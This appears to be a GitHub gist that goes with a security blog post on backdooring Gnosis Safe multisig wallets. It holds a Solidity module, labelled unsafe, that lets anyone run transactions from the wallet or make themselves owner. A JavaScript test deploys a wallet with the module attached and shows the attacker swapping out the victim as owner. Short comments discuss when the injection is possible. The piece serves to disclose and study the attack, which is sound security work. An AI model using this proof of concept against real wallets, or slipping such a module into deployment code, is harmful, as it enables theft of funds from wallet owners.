Last active
March 20, 2020 14:33
-
-
Save tinchoabbate/4b8be18615c4f4a4049280c014327652 to your computer and use it in GitHub Desktop.
Deploying backdoored Gnosis Safe Multisig wallets: blog.openzeppelin.com/backdooring-gnosis-safe-multisig-wallets
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.5.0; | |
import "@gnosis.pm/safe-contracts/contracts/base/Module.sol"; | |
import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol"; | |
/* | |
* @notice UNSAFE CODE - DO NOT USE IN PRODUCTION | |
*/ | |
contract ControllerModule is Module { | |
function setup() public { | |
setManager(); | |
} | |
// Allows anyone to execute a call from the controlled wallet | |
function executeCall(address to, uint256 value, bytes memory data) public { | |
// `manager` represents the wallet under control | |
require( | |
manager.execTransactionFromModule(to, value, data, Enum.Operation.Call) | |
); | |
} | |
// Allows anyone to become the wallet's owner | |
function becomeOwner(address currentOwner) external { | |
executeCall( | |
address(manager), | |
0, | |
abi.encodeWithSignature( | |
"swapOwner(address,address,address)", | |
address(0x1), | |
currentOwner, | |
msg.sender | |
) | |
); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { expect } = require('chai'); | |
const { constants } = require('@openzeppelin/test-helpers'); | |
const { contract, accounts, web3 } = require('@openzeppelin/test-environment'); | |
const ProxyFactory = contract.fromArtifact('@gnosis.pm/safe-contracts/ProxyFactory'); | |
const GnosisSafe = contract.fromArtifact('@gnosis.pm/safe-contracts/GnosisSafe'); | |
const CreateAndAddModules = contract.fromArtifact('@gnosis.pm/safe-contracts/CreateAndAddModules'); | |
const ControllerModule = contract.fromArtifact('ControllerModule'); | |
const utils = require('./utils'); | |
const [ | |
deployer, | |
victim, | |
attacker | |
] = accounts; | |
describe('Backdooring a Gnosis Safe wallet during deployment', async function () { | |
beforeEach(async function () { | |
// Deploy Gnosis Safe implementation | |
this.gnosisSafeImpl = await GnosisSafe.new({ from: deployer }); | |
// Deploy ProxyFactory contract | |
this.proxyFactory = await ProxyFactory.new({ from: deployer }); | |
// Deploy CreateAndAddModules contract | |
this.createAndAddModules = await CreateAndAddModules.new({ from: deployer }); | |
}); | |
it('Adds a malicious module that allows to execute any kind of actions', async function () { | |
// Deploy attacker-controlled module | |
const controllerModuleImpl = await ControllerModule.new({ from: attacker }); | |
// Get attacker module creation data. | |
// Note that the module will be behind a proxy | |
const controllerModuleCreationData = this.proxyFactory.contract.methods.createProxy( | |
controllerModuleImpl.address, | |
controllerModuleImpl.contract.methods.setup().encodeABI() | |
).encodeABI(); | |
const createAndAddModulesData = this.createAndAddModules.contract.methods.createAndAddModules( | |
this.proxyFactory.address, | |
utils.createAndAddModulesData([controllerModuleCreationData]) | |
).encodeABI(); | |
const gnosisSafeInitData = this.gnosisSafeImpl.contract.methods.setup( | |
[victim], // owners | |
1, // threshold | |
this.createAndAddModules.address, // Gnosis Safe wallet will `delegatecall` this address ... | |
createAndAddModulesData, // ... using this data | |
constants.ZERO_ADDRESS, // fallbackHandler (irrelevant) | |
constants.ZERO_ADDRESS, // paymentToken (irrelevant) | |
0, // payment (irrelevant) | |
constants.ZERO_ADDRESS // paymentReceiver (irrelevant) | |
).encodeABI(); | |
const { logs } = await this.proxyFactory.createProxy( | |
this.gnosisSafeImpl.address, | |
gnosisSafeInitData, | |
{ from: attacker } // The deployer could be the victim as well. | |
); | |
const gnosisSafeProxy = await GnosisSafe.at(logs[1].args.proxy); | |
// Ensure proxy correctly points to Gnosis Safe legitimate implementation | |
expect( | |
await web3.eth.getStorageAt(gnosisSafeProxy.address, 0) | |
).to.eq(this.gnosisSafeImpl.address.toLowerCase()); | |
// Ensure the victim got added as the sole owner of the wallet | |
expect( | |
await gnosisSafeProxy.getOwners({ from: attacker }) | |
).to.deep.eq([victim]); | |
// Ensure the attacker's module (behind a Proxy) is registered as a valid module in the wallet | |
const controllerModuleProxy = await ControllerModule.at(logs[0].args.proxy); | |
expect( | |
await web3.eth.getStorageAt(controllerModuleProxy.address, 0) | |
).to.equal(controllerModuleImpl.address.toLowerCase()); | |
expect( | |
await gnosisSafeProxy.getModules({ from: attacker }) | |
).to.deep.eq([controllerModuleProxy.address]); | |
// Ensure the manager of the attacker-controlled module is the legitimate wallet | |
expect( | |
await controllerModuleProxy.manager() | |
).to.eq(gnosisSafeProxy.address); | |
// Attacker can become the owner of the wallet | |
// Just for demo purposes, calling `executeCall` passing ABI, but might as well call `becomeOwner` | |
await controllerModuleProxy.executeCall( | |
gnosisSafeProxy.address, | |
0, // msg.value | |
gnosisSafeProxy.contract.methods.swapOwner( | |
web3.utils.padLeft("0x1", 40), // Gnosis Safe sentinel | |
victim, | |
attacker | |
).encodeABI(), | |
{ from: attacker } | |
); | |
expect( | |
await gnosisSafeProxy.getOwners({ from: attacker }) | |
).to.deep.eq([attacker]); | |
}); | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { web3 } = require('@openzeppelin/test-environment'); | |
// Taken (and adapted) from https://github.com/gnosis/safe-contracts/blob/v1.1.1/test/utils/general.js#L9 | |
const ModuleDataWrapper = new web3.eth.Contract([{"constant":false,"inputs":[{"name":"data","type":"bytes"}],"name":"setup","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]); | |
function createAndAddModulesData(dataArray) { | |
// Remove method id (10) and position of data in payload (64) | |
return dataArray.reduce( | |
(acc, data) => acc + ModuleDataWrapper.methods.setup(data).encodeABI().substr(74), | |
"0x" | |
); | |
} | |
Object.assign(exports, { | |
createAndAddModulesData | |
}) |
That's correct. You can read more about the attack vectors and how they work here: https://blog.openzeppelin.com/backdooring-gnosis-safe-multisig-wallets
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
it seems to be injected during the deployment aka internal attack but after deployed it's impossible to inject the backdoor, am I right?